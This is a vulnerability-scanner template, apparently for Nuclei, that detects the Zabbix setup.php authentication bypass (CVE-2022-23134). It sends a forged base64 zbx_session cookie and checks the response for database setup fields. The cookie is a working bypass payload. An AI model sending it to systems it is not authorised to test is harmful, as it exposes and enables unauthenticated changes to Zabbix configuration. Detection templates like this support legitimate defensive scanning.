id: CVE-2022-23134

info:
  name: Zabbix Setup Configuration Authentication Bypass
  author: bananabr
  severity: medium
  description: After the initial setup process, some steps of setup.php file are reachable not only by super-administrators but also by unauthenticated users. A malicious actor can pass step checks and potentially change the configuration of Zabbix Frontend.
  reference:
    - https://blog.sonarsource.com/zabbix-case-study-of-unsafe-session-storage
    - https://nvd.nist.gov/vuln/detail/CVE-2022-23134
    - https://support.zabbix.com/browse/ZBX-20384
    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6SZYHXINBKCY42ITFSNCYE7KCSF33VRA/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-23134
    epss-score: 0.33652
  tags: cve,cve2022,zabbix,auth-bypass,kev
  metadata:
    max-request: 2

http:
  - method: GET
    path:
      - "{{BaseURL}}/zabbix/setup.php"
      - "{{BaseURL}}/setup.php"

    headers:
      Cookie: "zbx_session=eyJzZXNzaW9uaWQiOiJJTlZBTElEIiwiY2hlY2tfZmllbGRzX3Jlc3VsdCI6dHJ1ZSwic3RlcCI6Niwic2VydmVyQ2hlY2tSZXN1bHQiOnRydWUsInNlcnZlckNoZWNrVGltZSI6MTY0NTEyMzcwNCwic2lnbiI6IklOVkFMSUQifQ%3D%3D"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Database"
          - "host"
          - "port"
          - "Zabbix"
        condition: and

      - type: status
        status:
          - 200

# Enhanced by mp on 2022/03/08